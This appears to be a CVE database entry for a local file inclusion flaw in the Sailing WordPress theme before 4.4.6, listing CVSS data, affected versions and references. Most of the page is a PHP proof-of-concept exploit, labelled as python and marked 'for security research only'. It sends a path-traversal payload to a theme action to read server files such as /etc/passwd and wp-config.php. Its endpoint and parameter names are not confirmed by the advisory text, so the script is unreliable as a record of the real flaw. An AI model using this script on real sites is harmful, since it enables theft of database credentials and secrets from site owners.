CVE-2025-67526

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThimPress Sailing sailing allows PHP Local File Inclusion.This issue affects Sailing: from n/a through < 4.4.6.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Sailing < 4.4.6

Sailing n/a through 4.4.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-67526 PoC - Sailing Theme Local File Inclusion
 * Target: WordPress Sailing Theme < 4.4.6
 * Author: Security Researcher
 * 
 * Usage: php poc.php <target_url> <file_to_read>
 * Example: php poc.php http://target.com /etc/passwd
 *          php poc.php http://target.com wp-config.php
 */

error_reporting(0);

function exploitLFI($target, $file) {
    $payload = str_repeat('../', 10) . ltrim($file, '/');
    $params = [
        'file' => $payload,
        'action' => 'thim_sailing_load_template'
    ];
    
    $url = $target . '/?' . http_build_query($params);
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
    ]);
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ['code' => $httpCode, 'response' => $response];
}

if ($argc < 3) {
    echo "Usage: php {$argv[0]} <target_url> <file_to_read>\n";
    echo "Example: php {$argv[0]} http://example.com /etc/passwd\n";
    exit(1);
}

$target = rtrim($argv[1], '/');
$file = $argv[2];

echo "[*] Exploiting CVE-2025-67526\n";
echo "[*] Target: {$target}\n";
echo "[*] File: {$file}\n";

$result = exploitLFI($target, $file);

echo "[*] HTTP Status: {$result['code']}\n";
if (!empty($result['response'])) {
    echo "[+] Response:\n";
    echo $result['response'];
} else {
    echo "[-] No response or file not readable\n";
}
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67526
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67526
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67526/
[4] VulDB https://vuldb.com/cve/CVE-2025-67526
[5] https://patchstack.com/database/Wordpress/Theme/sailing/vulnerability/wordpress-sailing-theme-4-4-6-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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